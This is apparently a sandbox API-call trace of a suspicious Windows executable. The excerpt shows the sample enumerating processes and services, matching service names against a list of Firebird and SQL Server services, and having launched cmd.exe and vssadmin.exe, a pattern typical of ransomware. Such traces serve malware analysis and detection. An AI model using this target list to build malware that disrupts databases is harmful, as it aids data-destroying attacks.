[0196.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0196.935] lstrlenW (lpString="ShellHWDetection") returned 16 [0196.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0196.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0196.935] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0196.935] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0196.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0196.935] lstrlenW (lpString="Spooler") returned 7 [0196.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0196.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0196.935] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0196.935] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0196.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0196.935] lstrlenW (lpString="StateRepository") returned 15 [0196.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0196.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0196.935] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0196.935] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0196.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0196.935] lstrlenW (lpString="SysMain") returned 7 [0196.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0196.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0196.935] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0196.935] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0196.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0196.935] lstrlenW (lpString="SystemEventsBroker") returned 18 [0196.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0196.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0196.935] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0196.935] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0196.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0196.936] lstrlenW (lpString="Themes") returned 6 [0196.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0196.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0196.936] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0196.936] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0196.936] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e6180 | out: hHeap=0x420000) returned 1 [0196.936] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x54c [0196.944] Process32FirstW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.945] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0196.945] lstrlenW (lpString="System") returned 6 [0196.946] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0196.946] lstrlenW (lpString="smss.exe") returned 8 [0196.946] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0196.947] lstrlenW (lpString="csrss.exe") returned 9 [0196.947] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0196.947] lstrlenW (lpString="wininit.exe") returned 11 [0196.947] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0196.948] lstrlenW (lpString="csrss.exe") returned 9 [0196.948] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0196.948] lstrlenW (lpString="winlogon.exe") returned 12 [0196.948] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0196.949] lstrlenW (lpString="services.exe") returned 12 [0196.949] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0196.949] lstrlenW (lpString="lsass.exe") returned 9 [0196.949] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0196.950] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0196.950] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0196.950] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0196.950] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.951] lstrlenW (lpString="svchost.exe") returned 11 [0196.951] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.951] lstrlenW (lpString="svchost.exe") returned 11 [0196.951] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0196.952] lstrlenW (lpString="dwm.exe") returned 7 [0196.952] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.952] lstrlenW (lpString="svchost.exe") returned 11 [0196.952] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.953] lstrlenW (lpString="svchost.exe") returned 11 [0196.953] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.953] lstrlenW (lpString="svchost.exe") returned 11 [0196.953] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.954] lstrlenW (lpString="svchost.exe") returned 11 [0196.954] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.955] lstrlenW (lpString="svchost.exe") returned 11 [0196.955] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.955] lstrlenW (lpString="svchost.exe") returned 11 [0196.955] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.956] lstrlenW (lpString="svchost.exe") returned 11 [0196.956] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.956] lstrlenW (lpString="svchost.exe") returned 11 [0196.956] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.957] lstrlenW (lpString="svchost.exe") returned 11 [0196.957] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.957] lstrlenW (lpString="svchost.exe") returned 11 [0196.957] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0196.958] lstrlenW (lpString="spoolsv.exe") returned 11 [0196.958] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.958] lstrlenW (lpString="svchost.exe") returned 11 [0196.958] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0196.959] lstrlenW (lpString="audiodg.exe") returned 11 [0196.959] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0196.959] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0196.959] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0196.960] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0196.960] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0196.960] lstrlenW (lpString="Memory Compression") returned 18 [0196.960] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0196.961] lstrlenW (lpString="sihost.exe") returned 10 [0196.961] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.961] lstrlenW (lpString="svchost.exe") returned 11 [0196.961] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0196.962] lstrlenW (lpString="taskhostw.exe") returned 13 [0196.962] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0196.963] lstrlenW (lpString="msoia.exe") returned 9 [0196.963] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0196.963] lstrlenW (lpString="explorer.exe") returned 12 [0196.963] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0196.964] lstrlenW (lpString="SearchUI.exe") returned 12 [0196.964] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0196.964] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0196.964] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0196.965] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0196.965] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0196.965] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0196.965] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0196.966] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0196.966] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0197.088] lstrlenW (lpString="cmd.exe") returned 7 [0197.088] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0197.089] lstrlenW (lpString="conhost.exe") returned 11 [0197.089] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1a8, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0197.089] lstrlenW (lpString="consent.exe") returned 11 [0197.089] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0197.090] lstrlenW (lpString="vssadmin.exe") returned 12 [0197.090] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0197.090] lstrlenW (lpString="dllhost.exe") returned 11 [0197.090] Process32NextW (in: hSnapshot=0x54c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0197.091] CloseHandle (hObject=0x54c) returned 1 [0197.091] Sleep (dwMilliseconds=0x1f4) [0197.721] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b300 [0197.723] EnumServicesStatusExW (in: hSCManager=0x447b300, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0197.723] GetLastError () returned 0xea [0197.723] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c94) returned 0x45c2fd0 [0197.723] EnumServicesStatusExW (in: hSCManager=0x447b300, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45c2fd0, cbBufSize=0x1c94, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45c2fd0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0197.730] CloseServiceHandle (hSCObject=0x447b300) returned 1 [0197.730] lstrlenW (lpString="Appinfo") returned 7 [0197.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0197.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0197.730] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0197.730] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0197.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0197.731] lstrlenW (lpString="AppXSvc") returned 7 [0197.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0197.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0197.731] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0197.731] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0197.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0197.731] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0197.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0197.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0197.731] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0197.731] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0197.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0197.731] lstrlenW (lpString="Audiosrv") returned 8 [0197.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0197.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0197.731] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0197.731] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0197.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0197.731] lstrlenW (lpString="BFE") returned 3 [0197.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0197.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0197.731] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0197.731] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0197.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0197.731] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0197.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0197.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0197.731] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0197.731] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0197.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0197.732] lstrlenW (lpString="CDPSvc") returned 6 [0197.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0197.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0197.732] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0197.732] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0197.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0197.732] lstrlenW (lpString="ClickToRunSvc") returned 13 [0197.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0197.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0197.733] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0197.733] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0197.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0197.733] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0197.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0197.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0197.733] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0197.733] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0197.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0197.733] lstrlenW (lpString="CryptSvc") returned 8 [0197.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0197.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0197.733] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0197.733] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0197.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0197.733] lstrlenW (lpString="DcomLaunch") returned 10 [0197.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0197.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0197.733] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0197.733] lstrcmpiW (lpString1="mssqlserver", 